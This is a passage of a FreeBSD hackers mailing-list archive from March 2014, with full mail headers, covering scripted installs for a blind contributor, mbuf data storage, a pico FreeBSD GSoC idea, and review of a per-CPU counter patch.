bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 7A4A2B16 for ; Sat, 15 Mar 2014 16:31:56 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; CHARSET=US-ASCII Received: from avs-daemon.smtpauth4.wiscmail.wisc.edu by smtpauth4.wiscmail.wisc.edu (Oracle Communications Messaging Server 7u4-27.01(7.0.4.27.0) 64bit (built Aug 30 2012)) id <0N2H00000HRC9J00@smtpauth4.wiscmail.wisc.edu> for freebsd-hackers@freebsd.org; Sat, 15 Mar 2014 10:31:48 -0500 (CDT) X-Spam-PmxInfo: Server=avs-4, Version=6.0.3.2322014, Antispam-Engine: 2.7.2.2107409, Antispam-Data: 2014.3.15.152414, SenderIP=0.0.0.0 X-Spam-Report: AuthenticatedSender=yes, SenderIP=0.0.0.0 Received: from wanderer.tachypleus.net (75-101-50-44.dsl.static.sonic.net [75.101.50.44]) by smtpauth4.wiscmail.wisc.edu (Oracle Communications Messaging Server 7u4-27.01(7.0.4.27.0) 64bit (built Aug 30 2012)) with ESMTPSA id <0N2H00IFPHSY7900@smtpauth4.wiscmail.wisc.edu>; Sat, 15 Mar 2014 10:31:48 -0500 (CDT) Message-id: <53247262.5030001@freebsd.org> Date: Sat, 15 Mar 2014 08:31:46 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 To: Warren Block , "Littlefield, Tyler" Subject: Re: getting involved and contributing References: <53176FB4.1080908@tysdomain.com> In-reply-to: X-Enigmail-Version: 1.6 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 16:31:56 -0000 On 03/05/14 19:51, Warren Block wrote: > On Wed, 5 Mar 2014, Littlefield, Tyler wrote: > >> Hello all: >> I had a fewe questions I wanted to ask. >> I'm looking for areas in which I might contribute code (c/c++, Python >> etc). As I'm new to the code contribution deal, I'd like to start off >> with something small if possible. My interests are mainly in security >> and systems development, though I'm probably not all that great at >> either. Similarly, I had a few questions: >> 1) what is a free or cheap method for testing code, branches etc? I >> have two systems here, but I am unable to duel boot. >> 2) I could use VMWare for testing, but that limits my ability to do >> much testing. Given that though, is there a way to automate the >> install of BSD? Basically: I am blind and am unable to install BSD by >> myself without help. Solutions exist for serial ports, but I've not >> really had much great luck connecting to that through a host. If >> there's a solution for a scripted install, that would be awesome. > > pc-sysinstall(8) can do a scripted install. There are some examples > in /usr/share/examples/pc-sysinstall. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > So can bsdinstall -- see the man page for examples. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 17:39:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 22E71615 for ; Sat, 15 Mar 2014 17:39:30 +0000 (UTC) Received: from felyko.com (felyko.com [IPv6:2607:f2f8:a528::3:1337:ca7]) by mx1.freebsd.org (Postfix) with ESMTP id 0DB28122 for ; Sat, 15 Mar 2014 17:39:30 +0000 (UTC) Received: from [10.0.1.3] (c-24-6-115-18.hsd1.ca.comcast.net [24.6.115.18]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by felyko.com (Postfix) with ESMTPSA id 4DBA639843; Sat, 15 Mar 2014 10:39:29 -0700 (PDT) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: mbuf question From: Rui Paulo In-Reply-To: <532405B7.2020007@gmail.com> Date: Sat, 15 Mar 2014 10:39:28 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> To: Hooman Fazaeli X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 17:39:30 -0000 On 15 Mar 2014, at 00:48, Hooman Fazaeli = wrote: > What about the area started at (m->m_ext + 1) whose size is (MHLEN - = sizeof(struct m_ext))? > Is there any known uses of this area in the stack? I'm not sure what you mean by m_ext + 1, but what are you trying to do? = If you need to tag an mbuf, use mbuf tags. -- Rui Paulo From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 22:27:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E651AAFE; Sat, 15 Mar 2014 22:27:18 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B4A87C24; Sat, 15 Mar 2014 22:27:18 +0000 (UTC) Received: from Julian-MBP3.local ([12.157.112.67]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s2FK0kuK075997 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sat, 15 Mar 2014 13:00:46 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <5324B169.3000805@freebsd.org> Date: Sat, 15 Mar 2014 13:00:41 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: lev@FreeBSD.org, Vincent Hoffman Subject: Re: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) References: <53243AD5.1000603@unsane.co.uk> <138446120.20140315154414@serebryakov.spb.ru> In-Reply-To: <138446120.20140315154414@serebryakov.spb.ru> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-hackers@freebsd.org, CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 22:27:19 -0000 On 3/15/14, 4:44 AM, Lev Serebryakov wrote: > Hello, Vincent. > You wrote 15 марта 2014 Đł., 15:34:45: > > VH> I think this is mostly done? I'd suggest that you look at > VH> https://github.com/kientzle/crochet-freebsd > Problem not in a script (we have nanobsd for it!), but minimal size of > usable system, both compressed (think: 16Mb or even 4Mb of Flash) and > uncompressed (think: 32Mb of RAM). > hense picoBSD nanoBSD is small but picoBSD is smaller From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 22:38:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C623DE24; Sat, 15 Mar 2014 22:38:22 +0000 (UTC) Received: from mail-ee0-x22c.google.com (mail-ee0-x22c.google.com [IPv6:2a00:1450:4013:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 370F3CEC; Sat, 15 Mar 2014 22:38:22 +0000 (UTC) Received: by mail-ee0-f44.google.com with SMTP id e49so2726226eek.3 for ; Sat, 15 Mar 2014 15:38:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=svQ2khNl6/DTNhSTQ7iMBhDyJszxZEdKyEhixrUQRng=; b=MQYN51vLJZ5KTmUZuM0vs0VpLOz/VFl3kPiBqQk788A/9yqpnl3L+W7gAR9KTo8mlS cgmQacFIxfPeyq1lfZA7WU/2CgA6tKMPTfGnpuoNJSXHYWG/QdBIo0aQ1y8OMH60BKXG XXbPPUqjr0eYrwRXTqiKkQmWLH6oC/OtPScj2t6ChYGQFJjIcFF9a6HDulQLuwQpuNfr drfbgr73dBu86lv3ksLYHxW519ZnpXKD8K6jBqlQ+6Al1R6YyyE4/AVtBZ+gP6exOZjD KgTWaULsn4WxiadOR/XFYGHtzLaqp+FzEn4C8jq5TdnQ6QAnOsUFJFnXDoTPEctGypp/ GrLQ== X-Received: by 10.15.102.74 with SMTP id bq50mr15940395eeb.21.1394923100720; Sat, 15 Mar 2014 15:38:20 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id t4sm15445967eeb.29.2014.03.15.15.38.18 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 15 Mar 2014 15:38:20 -0700 (PDT) Message-ID: <5324D669.804@gmail.com> Date: Sun, 16 Mar 2014 03:08:33 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> In-Reply-To: <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 22:38:22 -0000 On 3/15/2014 9:09 PM, Rui Paulo wrote: > On 15 Mar 2014, at 00:48, Hooman Fazaeli wrote: >> What about the area started at (m->m_ext + 1) whose size is (MHLEN - sizeof(struct m_ext))? >> Is there any known uses of this area in the stack? > I'm not sure what you mean by m_ext + 1, but what are you trying to do? If you need to tag an mbuf, use mbuf tags. > > -- > Rui Paulo (m->m_ext+ 1) points to the (unused?) area in m->m_dat.MHright after the space occupied by m_ext. I am well aware of mbuf tags. I was just thinking toavoid the overhead of m_tag allocation/de-allocation and store my little piece of data directly in mbufs. -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 22:56:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D7D0210E; Sat, 15 Mar 2014 22:56:41 +0000 (UTC) Received: from mail-ee0-x22a.google.com (mail-ee0-x22a.google.com [IPv6:2a00:1450:4013:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 43D06E2E; Sat, 15 Mar 2014 22:56:41 +0000 (UTC) Received: by mail-ee0-f42.google.com with SMTP id d17so2726978eek.1 for ; Sat, 15 Mar 2014 15:56:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; bh=xEcggYbDeJVGboTzNnpljgF9F7MQULnD8Pk/BtvymL4=; b=CI4Nsa2tfcMHS7NXoUPV7LbsS+PwMC85q0z7oZu4EUurCRqZpY2KWl2I/WdwVhFYWb lxFU8bWsb5FJP3srOWYQW67Dbw3jM0XVlrjAYVoeCEQ5SC5BEoDv+IhYEr1eE81YPk2q oNy34w+xEbj2YsSfTvMul+0EeSp6K3IV8NpVoQMemvw/kWZsrndCQQ/NLh90qpjGCk9W DfZw618YozUQ+SEbEt2S5Uqk2dU1HaQBt7SGxLguN/vOMdJNeh2+tI+lFQt1Bp451PGz QVOzp6LyDapclozSKSpb0qMzhvLJ9O4Gg50/z8+4pHyS9Kan0SYWktJLQ9pX21ySfMvA PmJw== X-Received: by 10.14.213.135 with SMTP id a7mr15967098eep.57.1394924199706; Sat, 15 Mar 2014 15:56:39 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id f45sm27860390eeg.5.2014.03.15.15.56.38 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 15 Mar 2014 15:56:39 -0700 (PDT) Message-ID: <5324DAC0.9020508@gmail.com> Date: Sun, 16 Mar 2014 03:27:04 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> In-Reply-To: <5324D669.804@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 22:56:41 -0000 On 3/16/2014 3:08 AM, Hooman Fazaeli wrote: > On 3/15/2014 9:09 PM, Rui Paulo wrote: >> On 15 Mar 2014, at 00:48, Hooman Fazaeli wrote: >>> What about the area started at (m->m_ext + 1) whose size is (MHLEN - sizeof(struct m_ext))? >>> Is there any known uses of this area in the stack? >> I'm not sure what you mean by m_ext + 1, but what are you trying to do? If you need to tag an mbuf, use mbuf tags. >> >> -- >> Rui Paulo > > (m->m_ext+ 1) points to the (unused?) area in m->m_dat.MHright after the space occupied by m_ext. > I am well aware of mbuf tags. I was just thinking toavoid the overhead of m_tag allocation/de-allocation > and store my little piece of data directly in mbufs. > sorry for my mistake. (m->m_ext + 1) is a totally wrong notation as m_ext is a struct. The area I was talking about is (m->m_pktdat + sizeof(m->m_ext)). Is this part of mbuf+cluster has any known uses? can we use it to store some data about the packet (instead of using mbuf tags)? -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 22:59:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25F7021B; Sat, 15 Mar 2014 22:59:37 +0000 (UTC) Received: from mx1.stack.nl (relay04.stack.nl [IPv6:2001:610:1108:5010::107]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D9E4CE4B; Sat, 15 Mar 2014 22:59:36 +0000 (UTC) Received: from snail.stack.nl (snail.stack.nl [IPv6:2001:610:1108:5010::131]) by mx1.stack.nl (Postfix) with ESMTP id A0A86B808E; Sat, 15 Mar 2014 23:59:34 +0100 (CET) Received: by snail.stack.nl (Postfix, from userid 1677) id 849B228497; Sat, 15 Mar 2014 23:59:34 +0100 (CET) Date: Sat, 15 Mar 2014 23:59:34 +0100 From: Jilles Tjoelker To: "Meyer, Conrad" Subject: Re: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Message-ID: <20140315225934.GA22964@stack.nl> References: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: "freebsd-hackers@freebsd.org" , Bryan Drewery X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 22:59:37 -0000 On Fri, Mar 14, 2014 at 06:31:08PM +0000, Meyer, Conrad wrote: > We can efficiently reference thread-local pcpu members via the %gs > register with Clang-annotated C code, in place of inline GNU assembly. > Motivations: > - Use C in leiu of inline assembly for clarity > - Clang's static analyser may be better able to understand PCPU_* > macros using the C constructs rather than inline assembly > (unverified) > Sponsored by: EMC/Isilon storage division > Signed-off-by: Conrad Meyer > Reviewed-by: Max Laier > --- > This is more of a "what do you think?" than a pull request. It seems > like using annotated C instead of asm is nice (in particular, Clang > detects casts from pointers typed with one segment to another, or > unsegmented type). On the other hand, this is code that doesn't change > frequently, and we may still need to support GCC for some time. So > adding a second, parallel implementation just doubles room for bugs. > Open questions: > - How long is GCC intended to be supported as a compiler? > - How atomic does PCPU_INC() need to be? It looks like it updates > cpu-local counters; as long as it's a single asm instruction, should > it be fine w.r.t. interrupts? The existing implementation does NOT > use the 'lock; ' prefix. > [snip] > +/* > + * Adds the value to the per-cpu counter name. The implementation > + * must be atomic with respect to interrupts. > + */ > +#define __PCPU_ADD(name, val) do { \ > + __pcpu_type(name) __val; \ > + volatile __pcpu_type(name) __GS_RELATIVE *__ptr; \ > + \ > + __val = (val); \ > + __ptr = __PCPU_PTR(name); \ > + *__ptr += __val; \ > +} while (0) > + > +/* > + * Increments the value of the per-cpu counter name. The implementation > + * must be atomic with respect to interrupts. > + */ > +#define __PCPU_INC(name) __PCPU_ADD(name, 1) This code does not force the compiler to generate the required read-modify-write instruction. The compiler may generate a load, add and store, which may corrupt the counter if the thread is preempted between the load and the store. With the %gs: prefix, a plain read-modify-write instruction is indeed sufficient. It is not possible to preempt the instruction between determining the linear address of the counter and incrementing the counter, or between reading and writing the value; therefore, each core only touches its own counter and a lock prefix is not required. (This is basically the same reason why the lock prefixes are #ifdef'ed out in a uniprocessor kernel.) If a compiler wanted to support this from C, I suggest extending the memory_order type with one or more values for synchronization within a core or within a thread which generate read-modify-write instructions without lock prefix on x86. -- Jilles Tjoelker From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 23:13:52 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 53FBB5CE; Sat, 15 Mar 2014 23:13:52 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 24A83F98; Sat, 15 Mar 2014 23:13:51 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WOxm2-000PBc-SV; Sat, 15 Mar 2014 23:13:51 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s2FNDm1O065578; Sat, 15 Mar 2014 17:13:48 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX1+EB8Bs795G1dlRHIYWuERh Subject: Re: mbuf question From: Ian Lepore To: Hooman Fazaeli In-Reply-To: <5324DAC0.9020508@gmail.com> References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> Content-Type: text/plain; charset="us-ascii" Date: Sat, 15 Mar 2014 17:13:48 -0600 Message-ID: <1394925228.1149.558.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Rui Paulo X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 23:13:52 -0000 On Sun, 2014-03-16 at 03:27 +0430, Hooman Fazaeli wrote: > On 3/16/2014 3:08 AM, Hooman Fazaeli wrote: > > On 3/15/2014 9:09 PM, Rui Paulo wrote: > >> On 15 Mar 2014, at 00:48, Hooman Fazaeli wrote: > >>> What about the area started at (m->m_ext + 1) whose size is (MHLEN - sizeof(struct m_ext))? > >>> Is there any known uses of this area in the stack? > >> I'm not sure what you mean by m_ext + 1, but what are you trying to do? If you need to tag an mbuf, use mbuf tags. > >> > >> -- > >> Rui Paulo > > > > (m->m_ext+ 1) points to the (unused?) area in m->m_dat.MHright after the space occupied by m_ext. > > I am well aware of mbuf tags. I was just thinking toavoid the overhead of m_tag allocation/de-allocation > > and store my little piece of data directly in mbufs. > > > sorry for my mistake. (m->m_ext + 1) is a totally wrong notation as m_ext is a struct. > The area I was talking about is (m->m_pktdat + sizeof(m->m_ext)). > Is this part of mbuf+cluster has any known uses? can we use it to store some > data about the packet (instead of using mbuf tags)? It sounds dangerous to put data there and assume that there will never be kernel changes in the future that starts using that area. How about an optimization that puts tags in that area when it's available to avoid the allocation overhead? I don't know much about the network code, so maybe that's not a sensible idea. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 02:26:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D2679D52; Sun, 16 Mar 2014 02:26:54 +0000 (UTC) Received: from smtp.gentoo.org (dev.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AD4E8A8; Sun, 16 Mar 2014 02:26:54 +0000 (UTC) Received: from [192.168.1.157] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id E213533F5B2; Sun, 16 Mar 2014 02:26:52 +0000 (UTC) References: Mime-Version: 1.0 (1.0) In-Reply-To: Message-Id: X-Mailer: iPad Mail (10B146) From: Richard Yao Subject: Re: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) Date: Sat, 15 Mar 2014 22:26:49 -0400 To: CeDeROM Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Adrian Chadd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 02:26:54 -0000 Adrian Chadd has been working on this with BSDBox for a while. Try talking t= o him. https://wiki.freebsd.org/AdrianChadd/BsdBox On Mar 12, 2014, at 1:03 PM, CeDeROM wrote: > My proposition is to create easy way to create pico FreeBSD > distribution and build tools to run FreeBSD on soho MIPS routers, just > as OpenWRT. >=20 > --=20 > CeDeROM, SQ7MHZ, http://www.tomek.cedro.info > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 04:31:46 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EE40FF55; Sun, 16 Mar 2014 04:31:46 +0000 (UTC) Received: from felyko.com (felyko.com [IPv6:2607:f2f8:a528::3:1337:ca7]) by mx1.freebsd.org (Postfix) with ESMTP id D716CC2B; Sun, 16 Mar 2014 04:31:46 +0000 (UTC) Received: from [10.0.1.3] (c-24-6-115-18.hsd1.ca.comcast.net [24.6.115.18]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by felyko.com (Postfix) with ESMTPSA id 093FD39841; Sat, 15 Mar 2014 21:31:45 -0700 (PDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: mbuf question From: Rui Paulo In-Reply-To: <1394925228.1149.558.camel@revolution.hippie.lan> Date: Sat, 15 Mar 2014 21:31:52 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> To: Ian Lepore X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers , Hooman Fazaeli X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 04:31:47 -0000 On 15 Mar 2014, at 16:13, Ian Lepore wrote: > How about an optimization that puts tags in that area when it's > available to avoid the allocation overhead? I don't know much about = the > network code, so maybe that's not a sensible idea. The problem with mbuf tags is that they are not fixed size, so they = can't easily use UMA (although they use malloc which is backed by UMA, = but the performance is lower). If tags are not an option, I suppose = Hooman could use fields from struct pkthdr, but this might come with = risks if the code is not in the tree.=20 -- Rui Paulo From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 05:07:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 32FBF285; Sun, 16 Mar 2014 05:07:28 +0000 (UTC) Received: from mail-oa0-x234.google.com (mail-oa0-x234.google.com [IPv6:2607:f8b0:4003:c02::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E2397E27; Sun, 16 Mar 2014 05:07:27 +0000 (UTC) Received: by mail-oa0-f52.google.com with SMTP id l6so4304109oag.39 for ; Sat, 15 Mar 2014 22:07:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=SqOfVdhx5cgzS4uTkT3jdB6XB6BQQP35Z3XT0EeKuBM=; b=XiTCA3mWc5Pu7c253pTNNu58L5RVHXLxNygsXbhpr7Jt/06Qc7ElZJq5ODQ5OAS4MU VwqQ8ZBu4WNXEy+UbG3ZVaq1F7nQyad96JlXo9jrsV+dKTeQZJpE+6N47O2RyZB6eXzt vY3RQNG3WeToi+RwZK+Fy6OqDk8MWnPaBuLuWo0eMKkM87TSwhOhqePSSNL4B4B+B5GN HcZNPMGniuG5kB0/uSNxWJe3/G39E9CeG2gs+EwZmAwcA2FUXGzu7s/+sdrHaNBWEXBx QCqwu37tFQm5KaHgh9Yls26kI8z4rgXJvKz2RZ0XqNvuey5o9kih5rfXfAbQuJeZyuuJ jMSA== MIME-Version: 1.0 X-Received: by 10.60.62.146 with SMTP id y18mr14798321oer.24.1394946447176; Sat, 15 Mar 2014 22:07:27 -0700 (PDT) Received: by 10.182.130.71 with HTTP; Sat, 15 Mar 2014 22:07:27 -0700 (PDT) In-Reply-To: References: Date: Sun, 16 Mar 2014 01:07:27 -0400 Message-ID: Subject: Re: Definition struct and int From: Joe Nosay To: Adrian Chadd , FreeBSD Hackers Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD 